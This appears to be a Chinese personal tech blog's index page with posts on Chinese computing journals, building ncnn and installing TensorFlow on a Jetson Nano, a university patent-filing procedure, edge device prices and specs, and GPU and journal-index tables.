21)系统控制科学中的其它重要问题。《控制理论与应用》的读者对象是从事控制理论与应用研究的科技人员、高校师生及其他有关人员。设置的栏目主要有: 综述与评论,长论文,论文, 短文, 书刊评介, 读者来信, 国内外学术活动信息等。13、机器人简介:《机器人》是经中华人民共和国新闻出版局批准,由中国科学院主管、中国科学院沈阳自动化研究所、中国自动化学会联合主办类核心期刊,主要报告中国在机器人学和相关领域创新、高水平、重要学术进展和研究成果,由中国科学出版社出版。本刊读者包括国内外大学、科研机构和相关技术领域的教师、研究者、工程技术人员和博士、硕士研究生等。14、中文信息学报简介:《中文信息学报》 (双月刊)创刊于1986年,经国家科学委员会批准,由中国科学技术协会主管、中文信息学会和中国科学院软件研究所共同出版,是中文信息学会会刊。着重刊载中文信息处理的基础理论和应用技术研究的学术论文,以及相关综述、研究成果、技术报告、出版物评论、专题讨论、国内外学术动态等。 读者对象:广泛的计算机科学研究者、工程技术人员、软件开发与应用者、高校师生、研究生等,是计算机界中文信息处理者的重要参考书。15、模式识别与人工智能简介:《模式识别与人工智能》 (双月刊)创刊于1989年,是中国自动化学会、国家智能计算机研发中心和中国科学院合肥智能机械研究所共同主办、科学出版社出版的学术期刊。 本刊主要发表模式识别、人工智能、智能系统等研究成果和进展,旨在推动信息科学技术的发展。16、计算机集成制造系统简介:《计算机集成制造系统》 (月刊)创刊于1995年,国家863计划CIMS主题办公室,中国兵器工业第210研究所主办。 为国家级学术刊物交流国内外CIMS的研究、开发和应用信息,旨在推动和促进中国CIMS的发展。 主要报道国内外关系发展计算机集成制造系统的政策措施、重点、趋势、科研动态、科技成果、推广应用、产品开发和学术活动等内容。 有综述、论文、专家论坛、企业实践和动态信息等栏目。17、计算机工程与应用简介:《计算机工程与应用》是由中国电子科技集团公司主管,华北计算技术研究所主办的面向计算机全行业的综合性学术刊物,报导范围为行业最新研究成果与学术领域最新发展动态;具有先进性和推广价值的工程方案;有独立和创新见解的学术报告;先进、广泛、实用的开发成果。读者对象为计算机相关专业科研人员,工程项目的决策、开发、设计及应用人员,大专院校师生。18、系统仿真学报简介:《系统仿真学报》创刊于1989年7月,是中国仿真学会会刊(2016年2月,原中国系统仿真学会变更为中国仿真学会),由中国仿真学会和北京仿真中心联合主办,是中国仿真技术领域具有权威性、代表性的学术刊物。其宗旨是报道我国仿真技术领域具有国际、国内领先水平的科研成果,刊登具有创新性学术见解的研究论文。19、传感技术学报简介:《传感技术学报》创刊于1988年,由中华人民共和国教育部主管,是中国微米纳米技术学会会刊,挂靠东南大学编辑、出版和发行的学术性刊物。覆盖技术领域:MEMS、各类传感器材料、结构、器件和系统、传感器信号处理、无线传感技术、传感器应用。20、小型微型计算机系统简介:《小型微型计算机系统》创刊于1980年。该刊由中国科学院主管,中国科学院沈阳计算技术研究所主办,为中国计算机学会会刊,月刊,国内外公开发行。刊登的内容涵盖了计算机学科的各个领域,包括计算机科学理论、体系结构、软件、数据库理论、网络(含传感器网络)、人工智能与算法、服务计算、计算机图形与图像等。21、计算机工程与设计简介:《计算机工程与设计》创办于1980年,是由中国航天科工集团主管、中国航天科工集团七〇六所主办的中国计算机技术领域的学术性期刊。 办刊宗旨:本刊以传播新技术、促进学术交流为宗旨,坚持深度与广度、理论与应用相结合的方针,着力报道计算机前沿技术和热点技术,欢迎有创新和独立学术见解的学术论文,包括基金项目论文、获奖课题论文、学术会议优秀论文、博士和硕士论文等。22、遥感技术与应用简介:《遥感技术与应用》是综合性学术刊物,主要刊登国内外遥感理论、技术及应用研究领域的学术论文与综述,优先报道国内外遥感研究与应用的新技术、新理论、新方法和新成果,推动高新技术在地球科学研究及社会发展中的应用,重点介绍国家自然科学基金项目、交流国家攀登计划、攻关计划工作等科研成果。针对目前遥感领域的热点问题和发展动态,经第六届编委会讨论决定,将栏目细化调整为微波遥感、光学遥感、数据处理、模型与反演、遥感应用、专家述评、GIS、深空探测、重大项目、综述等。23、国土资源遥感简介:《国土资源遥感》是由中国地质调查局主管,中国自然资源航空物探遥感中心主办的技术性刊物(季刊,国内外公开发行),创刊于1989年。主要刊登实用性强的遥感、GIS及GPS(3S)技术理论及其应用论文,宣传3S技术在国土资源调查与开发、国土整治的规划与管理,环境和灾害监测,水文地质、工程地质勘查,建设工程选址、选线及城市规划等领域应用的新方法和重要成果,以从事国土资源遥感及其相关研究领域的研究人员、应用人员及大专院校有关师生为读者对象。24、计算机科学与探索简介:《计算机科学与探索》是由中国电子科技集团公司主管、华北计算技术研究所主办的国内外公开发行的高级学术期刊。报道计算机(硬件、软件)各学科具有创新性、前沿性、开拓性、探索性的科研成果。 内容包括高性能计算机、体系结构、并行处理、计算机科学更新理论、算法设计与分析、人工智能和模式识别、系统软件、软件工程、数据库、计算机网络、信息安全包括图形学和计算机辅助设计、虚拟现实、多媒体技术和交叉学科的相互渗透和新理论的推导等。25、信息与控制简介:《信息与控制》是经中华人民共和国新闻出版总署批准,由中国科学院主管,中国科学院沈阳自动化研究所、中国自动化学会共同主办的科技类核心期刊,主要刊载信息与控制科学领域基础研究和应用基础研究方面具有创新性的、高水平的、有重要意义的研究成果,由科学出版社出版。重点关注控制科学与技术、与控制理论相关的应用信息技术在机械制造、能源电力、冶金化工、资源环境、航空工业以及国防工业等国家重要高科技和经济领域中的应用研究成果。主要内容包括:1)控制理论与控制工程;2)智能信息处理;3)人工智能与模式识别;4)先进控制与优化技术;5)企业信息管理与信息系统;6)工业控制网络与系统;7)人机系统等。26、智能系统学报简介:《智能系统学报》是由中国人工智能学会和哈尔滨工程大学联合主办,是中国人工智能学会会刊。主要刊登神经网络与神经计算、智能信息处理、自然语言理解、智能系统工程、机器翻译、复杂系统、机器学习、知识工程与分布式智能、机器人、智能制造、粗糙集与软计算、免疫系统、机器感知与虚拟现实、智能控制与智能管理、可拓工程、人工智能基础等内容。27、计算机应用与软件简介:《计算机应用与软件》创刊于1984年,由上海市计算技术研究所和上海计算机软件技术开发中心共同主办。注重刊登反映计算机应用和软件技术开发应用方面的新理论、新方法、新技术以及创新应用的文章。主要栏目包括:最新技术动态、综合评述、软件技术与研究、数据工程、应用技术与研究、网络与通信、多媒体技术应用、人工智能与识别、图像处理与应用、嵌入式软件与应用、算法、安全技术、信息技术交流及其他相关内容。主要面向从事计算机应用和软件技术开发的科研人员、工程技术人员、高校师生等。28、计算机工程与科学简介:《计算机工程与科学》隶属于中国人民解放军国防科技大学计算机学院,是计算机类综合性学术刊物,1973年创刊,是中国计算机学会会刊,由国防科技大学计算机学院主办。注重刊登计算机学科在理论、工程与应用等方面的研究论文、技术报告和科研成果,主要涉及计算机体系结构、并行处理、超级计算、人工智能、软件工程、计算机仿真、多媒体与可视化、数据库、计算机网络与分布式处理、计算机安全与保密、中文信息处理、微机开发与应用及其他相关内容。29、遥感信息简介:《遥感信息》(双月刊)创刊于1986年,是我国最早批创办的遥感类期刊之一。该刊由中华人民共和国自然资源部主管,中国测绘科学研究院主办。研究内容包括遥感、地理信息系统技术更新理论、传播遥感和地理信息系统技术知识科学,介绍国内外传播新方法遥感和地理信息系统成果的发展趋势。30、控制工程简介:《控制工程》是教育部科技司主管、东北大学主办的学术类期刊。常设栏目: 工业过程管理与决策系统、决策与控制一体化系统、工业过程及控制系统、运动体控制系统、安全监控系统、建模与仿真系统、工业互联网系统、人工智能驱动的自动化等。主要读者对象为从事于自动化工程技术的高等院校教师、研究生,科研院所的研究人员,工矿企业的工程技术人员等。31、微电子学与计算机简介:本刊创于1972年,是中国微电子技术与计算机技术结合的唯一专业的国家汉语核心期刊,同时也是中国计算机学会杂志。 本杂志旨在以认真、追求创新的人为本,研究使用的弘扬科学追求真理。 本刊在国内公开发行,为科研院所、厂矿技术人员、大学教师和学生管理人员及时提供国内微电子和计算机行业的最新科研成果、学术和工程技术动态,是比较实用的参考资料和科学决策的正确依据。32、计算机仿真简介:本刊是我国航天科学工业集团公司的主管,航天科学工业集团十七所主办。 这是模拟技术领域的综合性科技期刊。内容包括国内、外部仿真技术各领域研究理论和技术新成果。 在发行的文章中,近年来国家资金项目约占20%~30%。参考资料计算机技术核心期刊大全(2020年最新整理)计算机核心期刊排名及投稿经验
2021年11月27日
656 阅读
0 评论
0 点赞
2021-10-28
Linux&Jetson Nano下编译安装ncnn
1.下载ncnn源码项目地址:https://github.com/Tencent/ncnngit clone https://github.com/Tencent/ncnn.git cd ncnn git submodule update --init2.安装依赖2.1 通用依赖gitg++cmakeprotocol buffer (protobuf) headers files and protobuf compilerglslangopencv(用于编译案列)sudo apt install build-essential git cmake libprotobuf-dev protobuf-compiler libvulkan-dev vulkan-utils libopencv-dev2.2 vulkan header files and loader library (用于调用GPU,只用CPU的可以不用安装)2.2.1 X86版本安装# 为GPU安装Vulkan驱动 sudo apt install mesa-vulkan-drivers # 安装vulkansdk wget https://sdk.lunarg.com/sdk/download/1.2.189.0/linux/vulkansdk-linux-x86_64-1.2.189.0.tar.gz?Human=true -O vulkansdk-linux-x86_64-1.2.189.0.tar.gz tar -xvf vulkansdk-linux-x86_64-1.2.189.0.tar.gz export VULKAN_SDK=$(pwd)/1.2.189.0/x86_642.2.2 Jetson Nano安装确认vulkan驱动是否安装正常nvidia@xavier:/$ vulkaninfo Xlib: extension "NV-GLX" missing on display "localhost:10.0". Xlib: extension "NV-GLX" missing on display "localhost:10.0". Xlib: extension "NV-GLX" missing on display "localhost:10.0". /build/vulkan-tools-WR7ZBj/vulkan-tools-1.1.126.0+dfsg1/vulkaninfo/vulkaninfo.h:399: failed with ERROR_INITIALIZATION_FAILED异常原因查找通过vnc远程连接到图形界面后运行vulkaninfonano@nano:~$ vulkaninfo =========== VULKAN INFO =========== Vulkan Instance Version: 1.2.70 Instance Extensions: ==================== Instance Extensions count = 16 VK_KHR_device_group_creation : extension revision 1 ······ ========================= minImageCount = 2 maxImageCount = 8 currentExtent: width = 256 height = 256 minImageExtent: width = 256 height = 256 maxImageExtent: width = 256 height = 256 maxImageArrayLayers = 1 ······安装vulkansdk# 编译安装vulkansdk sudo apt-get update && sudo apt-get install git build-essential libx11-xcb-dev libxkbcommon-dev libwayland-dev libxrandr-dev cmake git clone https://github.com/KhronosGroup/Vulkan-Loader.git cd Vulkan-Loader && mkdir build && cd build ../scripts/update_deps.py cmake -DCMAKE_BUILD_TYPE=Release -DVULKAN_HEADERS_INSTALL_DIR=$(pwd)/Vulkan-Headers/build/install .. make -j$(nproc) export LD_LIBRARY_PATH=$(pwd)/loader cd Vulkan-Headers ln -s ../loader lib export VULKAN_SDK=$(pwd)3. 开始编译CPU 版# 没安VULKAN运行这个 cd ncnn mkdir -p build cd build cmake -DCMAKE_BUILD_TYPE=Release -DNCNN_VULKAN=OFF -DNCNN_SYSTEM_GLSLANG=ON -DNCNN_BUILD_EXAMPLES=ON .. make -j$(nproc)GPU-X86# 有GPU安了VULKAN运行这个 cd ncnn mkdir -p build cd build cmake -DCMAKE_BUILD_TYPE=Release -DNCNN_VULKAN=ON -DNCNN_SYSTEM_GLSLANG=ON -DNCNN_BUILD_EXAMPLES=ON .. make -j$(nproc)GPU- Jetson Nano# Jetson Nano用这个 cd ncnn mkdir -p build cd build cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/jetson.toolchain.cmake -DNCNN_VULKAN=ON -DCMAKE_BUILD_TYPE=Release -DNCNN_BUILD_EXAMPLES=ON .. make -j$(nproc)4.验证安装4.1 验证squeezenetcd ../examples ../build/examples/squeezenet ../images/256-ncnn.pngnano@nano:/software/ncnn/examples$ ../build/examples/squeezenet ../images/256-ncnn.png [0 NVIDIA Tegra X1 (nvgpu)] queueC=0[16] queueG=0[16] queueT=0[16] [0 NVIDIA Tegra X1 (nvgpu)] bugsbn1=0 bugbilz=0 bugcopc=0 bugihfa=0 [0 NVIDIA Tegra X1 (nvgpu)] fp16-p/s/a=1/1/1 int8-p/s/a=1/1/1 [0 NVIDIA Tegra X1 (nvgpu)] subgroup=32 basic=1 vote=1 ballot=1 shuffle=1 532 = 0.168945 920 = 0.093323 716 = 0.063110 nvdc: start nvdcEventThread nvdc: exit nvdcEventThread4.1 验证benchncnncd ../benchmark ../build/benchmark/benchncnn 10 $(nproc) 0 0nano@nano:/software/ncnn/benchmark$ ../build/benchmark/benchncnn 10 $(nproc) 0 0[0 NVIDIA Tegra X1 (nvgpu)] queueC=0[16] queueG=0[16] queueT=0[16] [0 NVIDIA Tegra X1 (nvgpu)] bugsbn1=0 bugbilz=0 bugcopc=0 bugihfa=0 [0 NVIDIA Tegra X1 (nvgpu)] fp16-p/s/a=1/1/1 int8-p/s/a=1/1/1 [0 NVIDIA Tegra X1 (nvgpu)] subgroup=32 basic=1 vote=1 ballot=1 shuffle=1 loop_count = 10 num_threads = 4 powersave = 0 gpu_device = 0 cooling_down = 1 squeezenet min = 19.90 max = 22.82 avg = 20.82 squeezenet_int8 min = 36.58 max = 236.35 avg = 66.89 mobilenet min = 24.75 max = 41.05 avg = 28.83 mobilenet_int8 min = 42.95 max = 70.39 avg = 52.08 mobilenet_v2 min = 31.84 max = 38.09 avg = 35.59 mobilenet_v3 min = 29.77 max = 38.48 avg = 33.56 shufflenet min = 25.98 max = 36.90 avg = 30.86 shufflenet_v2 min = 18.46 max = 27.65 avg = 20.49 mnasnet min = 22.63 max = 35.37 avg = 24.88 proxylessnasnet min = 27.85 max = 33.44 avg = 30.52 efficientnet_b0 min = 34.85 max = 48.31 avg = 38.46 efficientnetv2_b0 min = 56.62 max = 76.70 avg = 61.99 regnety_400m min = 28.31 max = 35.59 avg = 31.92 blazeface min = 14.40 max = 34.70 avg = 23.63 googlenet min = 55.01 max = 75.36 avg = 60.89 googlenet_int8 min = 111.53 max = 315.94 avg = 167.58 resnet18 min = 51.45 max = 77.21 avg = 59.26 resnet18_int8 min = 81.99 max = 207.09 avg = 117.43 alexnet min = 69.98 max = 102.26 avg = 83.27 vgg16 min = 302.14 max = 337.56 avg = 320.55 vgg16_int8 min = 464.06 max = 601.92 avg = 540.28 resnet50 min = 140.36 max = 176.66 avg = 159.53 resnet50_int8 min = 299.16 max = 554.05 avg = 453.26 squeezenet_ssd min = 53.43 max = 78.75 avg = 63.67 squeezenet_ssd_int8 min = 91.45 max = 215.14 avg = 123.13 mobilenet_ssd min = 66.30 max = 90.77 avg = 76.86 mobilenet_ssd_int8 min = 89.05 max = 261.33 avg = 119.18 mobilenet_yolo min = 142.24 max = 182.72 avg = 154.48 mobilenetv2_yolov3 min = 81.96 max = 107.17 avg = 91.93 yolov4-tiny min = 103.76 max = 138.15 avg = 115.43 nanodet_m min = 27.15 max = 36.88 avg = 32.00 yolo-fastest-1.1 min = 33.21 max = 40.95 avg = 35.84 yolo-fastestv2 min = 17.51 max = 29.54 avg = 21.32 vision_transformer min = 4981.82 max = 5576.98 avg = 5198.79 nvdc: start nvdcEventThread nvdc: exit nvdcEventThread参考资料how to buildVulkan Support on L4TNVIDIA vulkan driver的安装和Jetson平台上vulkan sdk的制作vulkaninfo failed with VK_ERROR_INITIALIZATION_FAILED
2021年10月28日
893 阅读
0 评论
0 点赞
2021-09-23
中国民航大学专利申请流程
STEP1:把专利写好参考资料:参考专利STEP2:找代理要专利委托表把专利发给代理,代理会通过邮件发过来两个专利委托表STEP3:填表填写这两个专利委托表+中国民航大学专利申请报告书STEP4:去学院签字盖章把中国民航大学专利申请报告书拿到院长那签字+去张大伟老师那盖章STEP5:去科技处交表北教1-5楼出电梯就是了交中国民航大学专利申请报告书STEP6:把相关的文件拿给老师去学校盖章让老师去学校给专利委托文件盖章STEP7:快递委托文件把签字盖章后的专利委托文件快递寄到代理给的地址STEP8:付款和报销直接微信把钱转给代理,然后把快递地址给代理,代理会把发票记过来拿发票去找谢老师报销
2021年09月23日
870 阅读
0 评论
0 点赞
2021-06-29
Jetson nano 安装TensorFlow GPU
Jetson nano 安装TensorFlow GPU1.Prerequisites and DependenciesBefore you install TensorFlow for Jetson, ensure you:Install JetPack on your Jetson device.Install system packages required by TensorFlow:$ sudo apt-get update $ sudo apt-get install libhdf5-serial-dev hdf5-tools libhdf5-dev zlib1g-dev zip libjpeg8-dev liblapack-dev libblas-dev gfortranInstall and upgrade pip3.$ sudo apt-get install python3-pip $ sudo pip3 install -U pip testresources setuptools==49.6.0 Install the Python package dependencies.$ sudo pip3 install -U numpy==1.19.4 future==0.18.2 mock==3.0.5 h5py==2.10.0 keras_preprocessing==1.1.1 keras_applications==1.0.8 gast==0.2.2 futures protobuf pybind112.Installing TensorFlowNote: As of the 20.02 TensorFlow release, the package name has changed from tensorflow-gpu to tensorflow. See the section on Upgrading TensorFlow for more information.Install TensorFlow using the pip3 command. This command will install the latest version of TensorFlow compatible with JetPack 4.5.$ sudo pip3 install --pre --extra-index-url https://developer.download.nvidia.com/compute/redist/jp/v45 tensorflowNote: TensorFlow version 2 was recently released and is not fully backward compatible with TensorFlow 1.x. If you would prefer to use a TensorFlow 1.x package, it can be installed by specifying the TensorFlow version to be less than 2, as in the following command:$ sudo pip3 install --pre --extra-index-url https://developer.download.nvidia.com/compute/redist/jp/v45 ‘tensorflow<2’If you want to install the latest version of TensorFlow supported by a particular version of JetPack, issue the following command:$ sudo pip3 install --extra-index-url https://developer.download.nvidia.com/compute/redist/jp/v$JP_VERSION tensorflowWhere:JP_VERSIONThe major and minor version of JetPack you are using, such as 42 for JetPack 4.2.2 or 33 for JetPack 3.3.1.If you want to install a specific version of TensorFlow, issue the following command:$ sudo pip3 install --extra-index-url https://developer.download.nvidia.com/compute/redist/jp/v$JP_VERSION tensorflow==$TF_VERSION+nv$NV_VERSIONWhere:JP_VERSIONThe major and minor version of JetPack you are using, such as 42 for JetPack 4.2.2 or 33 for JetPack 3.3.1.TF_VERSIONThe released version of TensorFlow, for example, 1.13.1.NV_VERSIONThe monthly NVIDIA container version of TensorFlow, for example, 19.01.Note: The version of TensorFlow you are trying to install must be supported by the version of JetPack you are using. Also, the package name may be different for older releases. See the TensorFlow For Jetson Platform Release Notes for a list of some recent TensorFlow releases with their corresponding package names, as well as NVIDIA container and JetPack compatibility.For example, to install TensorFlow 1.13.1 as of the 19.03 release, the command would look similar to the following:$ sudo pip3 install --extra-index-url https://developer.download.nvidia.com/compute/redist/jp/v42 tensorflow-gpu==1.13.1+nv19.3Tensorflow-GPU测试是否可用Tensorflow-gpu 1.x.x, 如Tensorflow-gpu 1.2.0, 可使用以下代码import tensorflow as tf tf.test.is_gpu_available()Tensoeflow-gpu 2.x.x,如Tensorflow-gpu 2.2.0, 可使用以下代码import tensorflow as tf tf.config.list_physical_devices('GPU')参考资料Installing TensorFlow For Jetson Platform:https://docs.nvidia.com/deeplearning/frameworks/install-tf-jetson-platform/index.htmlTensorflow-GPU测试是否可用:https://www.jianshu.com/p/8eb7e03a9163
2021年06月29日
679 阅读
0 评论
0 点赞
2021-06-26
边缘计算设备清单
1.jetson nano购买渠道及报价京东1-丽台京东自营旗舰店链接:https://item.jd.com/100007523969.html#crumb-wrap价格:859京东2-风火轮智能硬件专营店链接:https://item.jd.com/43596671885.html#none价格:899微雪电子链接:https://www.waveshare.net/shop/Jetson-Nano-Developer-Kit-B01.htm价格:782.50参数信息项目Jetson NanoAI算力472 GFLOPsGPU128-core MaxwellCPUQuad-core ARM A57 @ 1.43 GHz内存4 GB 64-bit LPDDR4 25.6 GB/s存储micro SD卡 (须另购,可选购:Micro SD Card 64GB)视频编码4K @ 30 or 4x 1080p @ 30 or 9x 720p @ 30 (H.264/H.265)视频解码4K @ 60 or 2x 4K @ 30 or 8x 1080p @ 30 or 18x 720p @ 30 (H.264/H.265)摄像头2x MIPI CSI-2 DPHY lanes联网千兆以太网,M.2 Key E接口外扩 (可外接: AC8265双模网卡 )显示HDMI 和 DP显示接口USB4x USB 3.0,USB 2.0 Micro-B扩展接口GPIO,I2C,I2S,SPI,UART其他260-pin 连接器功耗5W / 10W2.Jetson TX2购买渠道及报价京东1-中天晨拓数码专营店链接:https://item.jd.com/57288701121.html#crumb-wrap价格:4100京东2-风火轮智能硬件专营店链接:https://item.jd.com/42504341472.html#crumb-wrap价格:4100微雪电子链接:https://www.waveshare.net/shop/Jetson-TX2-Developer-Kit.htm价格:4189.50参数信息项目Jetson TX2AI算力1.3 TFLOPsGPU256-core NVIDIA Pascal™ GPUCPUDual-Core NVIDIA Denver 2 64-Bit CPU and Quad-Core ARM® Cortex®-A57 MPCore内存8GB 128-bit LPDDR4 Memory存储32GB eMMC 5.1视频视频编码:4K x 2K 60 Hz (HEVC) 视频解码:4K x 2K 60 Hz (12-bit support)网络千兆以太网,WIFI,蓝牙CSI12x CSI-2 D-PHY 1.2(Up to 30 GB/s)显示Two Multi-Mode DP 1.2 eDP 1.4 HDMI 2.0 Two 1x4 DSI (1.5Gbps/lane)PCIEGen 2 or 1x4 + 1x1 OR 2x1 + 1x2功耗7.5W / 15W3.Jetson Xavier NX购买渠道及报价京东-英伟达比格专卖店链接:https://item.jd.com/10023731874172.html价格:3899.00微雪电子链接:https://www.waveshare.net/shop/Jetson-Xavier-NX-Developer-Kit.htm价格:3675参数信息项目Jetson Xavier NXAI算力21 TFLOPsGPUNVIDIA Volta architecture with 384 NVIDIA CUDA cores and 48 Tensor coresCPU6-core NVIDIA Carmel ARM v8.2 64-bit CPU 6 MB L2 + 4 MB L3 6MB L2 + 4MB L3DL 加速器2x NVDLA Engines视觉加速器7-Way VLIW Vision Processor内存8 GB 128-bit LPDDR4x @ 51.2GB/s存储空间需另购 Micro SD视频编码2x 4K @ 30 or 6x 1080p @ 60 or 14x 1080p @ 30 (H.265/H.264)视频解码2x 4K @ 60 or 4x 4K @ 30 or 12x 1080p @ 60 or 32x 1080p @ 30 (H.265) 2x 4K @ 30 or 6x 1080p @ 60 or 16x 1080p @ 30 (H.264)摄像头2x MIPI CSI-2 DPHY lanes网络Gigabit Ethernet, M.2 Key E (WiFi/BT included), M.2 Key M (NVMe)显示接口HDMI and display portUSB4x USB 3.1, USB 2.0 Micro-B其它GPIO, I 2 C, I 2 S, SPI, UART规格尺寸103 x 90.5 x 34.66 mm功耗未给出4.Jetson AGX Xavier购买渠道及报价京东1-中天晨拓数码专营店链接:https://item.jd.com/35577062547.html价格:6658.00京东2-丽台京东自营旗舰店链接:https://item.jd.com/100007523939.html价格: 5799.00微雪电子链接:https://www.waveshare.net/shop/Jetson-AGX-Xavier-Developer-Kit.htm价格:5596.50参数信息项目Jetson AGX XavierAI算力32 TFLOPsGPU512 核 Volta GPU (具有 64 个 Tensor 核心) 11 TFLOPS (FP16) 22 TOPS (INT8)CPU8 核 ARM v8.2 64 位 CPU、8 MB L2 + 4MB L3内存32GB 256-Bit LPDDR4x or 137GB/s存储32GB eMMC 5.1DL加速器(2x) NVDLA 引擎 5 TFLOPS (FP16), 10 TOPS (INT8)视觉加速器7通道 VLIW 视觉处理器视频编解码(2x) 4Kp60 or HEVC/(2x) 4Kp60 or 12-Bit Support尺寸105 mm x 105 mm x 65 mm板载模块Jetson AGX Xavier功耗10W/15W/30W5.海康威视4k摄像头购买渠道及报价京东1-海康威视京东自营旗舰店链接:https://item.jd.com/35577062547.html价格:6186.海康威视1k摄像头购买渠道及报价京东1-海康威视京东自营旗舰店链接:https://item.jd.com/100008757357.html价格:286
2021年06月26日
912 阅读
0 评论
0 点赞
2021-04-10
快速了解期刊分类
快速了解期刊分类外文期刊序号数据索引全称所属机构成立机构成立时间核心介绍1SCI科学引文索引Science Citation Index科睿唯安Clarivate Analytics美国科学情报研究所(ISI)1964①收录了自然科学、工程技术、生物医学等多各学科期刊②涵盖了各个研究领域最具影响力的超过9000多种核心学术期刊2SSCI社会科学引文索引Social Science Citation Index科睿唯安Clarivate Analytics美国科学情报研究所(ISI)1973内容覆盖包含人类学、法律、经济、历史、地理、心理学等55个领域期刊数量有约3500种3A&HCI艺术与人文科学引文索引Arts&Humanities Citation Index科睿唯安Clarivate Analytics美国科学情报研究所(ISI)1978是艺术与人文科学领域重要的期刊文摘索引数据库,收录考古学、建筑学、艺术、文学、哲学、宗教、历史等社会科学领域的1800余种期刊4ESCI新兴来源引文索引Emerging Sources Citations Index科睿唯安Clarivate Analytics美国科学情报研究所(ISI)2015收录了一批优质的新杂志进入观察期,帮助科研人员了解学术研究的新兴趋势,不定期更新5CPCI科技会议录索引Conference Proceedings Citation Index科睿唯安Clarivate Analytics美国科学情报研究所(ISI)1978①收录自1990年以来每年近10,000个国际科技学术会议所出版的会议论文②提供自1997年以来的会议录论文的摘要,每周更新6EI工程索引The Engineering Index爱思唯尔Elsevier Engineering Information Inc美国工程信息公司1884①全球最全面的工程领域二次文献数据库②涵盖一系列土木工程、建筑工程、交通运输、应用科学等领域高品质的文献资源7CA日本科学技术振兴机构数据库Japan Science&Technology Corportion美国化学学会化学文摘社美国化学学会1907①世界最大的化学文摘库②是目前世界上应用最为重要的化学、化工及相关学科的检索工具8JST日本科学技术振兴机构数据库Japan Science&Technology Corportion日本科学技术振兴机构日本科学技术振兴机构2007①是在日本《科学技术文献速报》的基础上发展起来的网络版②隶属于日本政府文部科学省,是日本最重要的科技信息机构9AJ文摘杂志Abstract Journal全俄科学技术情报研究所全俄科学技术情报研究所1953①供查阅自然科学、技术科学和工业经济为特色②为世界五大综合性文摘杂志之一10ISR科学评论索引Index to Scientific Reviews科睿唯安Clarivate Analytics美国科学情报研究所(ISI)1974收录世界各国2700余种科技期刊及300余种专著丛刊中有价值的评述论文中文期刊序号四大索引全称所属机构成立机构成立时间核心介绍1CSCD中国科学引文数据库Chinese Science Citation Database中国科学院文献情报中心(中国科学院图书馆)中国科学院1989①是我国第一个引文数据库,被誉为"中国的SCI" ②是ISI Web of Knowledge平台上第一个非英文语种的数据库2CSSCI中国社会科学引文索引Chinese Social Sciences Citation Index南京大学中国社会科学研究评价中心南京大学&香港科技大学1997①是国家、教育部重点课题攻关项目②是我国人文社会科学评价领域的标志性工程3北大核心中文核心期刊要目总览China National Knowledge Infrastructure北京大学出版社北京大学1992由北京大学图书馆及北京十几所高校图书馆众多期刊工作者及相关单位专家参加的研究项目4中信所核心中国科技论文统计源期刊中国科技信息研究所中国科技信息研究所1980受国家科技部委托,按照美国科学情报研究所(ISI)《期刊引证报告》(UCR)的模式,结合国内情况开发
2021年04月10日
560 阅读
0 评论
0 点赞
2021-02-06
主板开机跳线接线图【F_PANEL接线图】
主板开机跳线接线图【F_PANEL接线图】
2021年02月06日
7,392 阅读
0 评论
1 点赞
2021-01-24
506显卡信息统计
506显卡信息统计型号显存容量显存类型CUDA核心数最大功耗(仅供参考)Quadro NVS3151GBGDDR34819.5WJETSON NANO4GBLPDDR41285WQuadro K6202GBGDDR538441WGeForce GT 7302GBGDDR538450WGeForce GTX 750Ti2GBGDDR564060WQuadro M20004GBGDDR576875WGeForce GTX Titan Black6GBGDDR52880250WTesla V100 16GB16GBGDDR55120250W
2021年01月24日
831 阅读
0 评论
0 点赞
1
2
3
4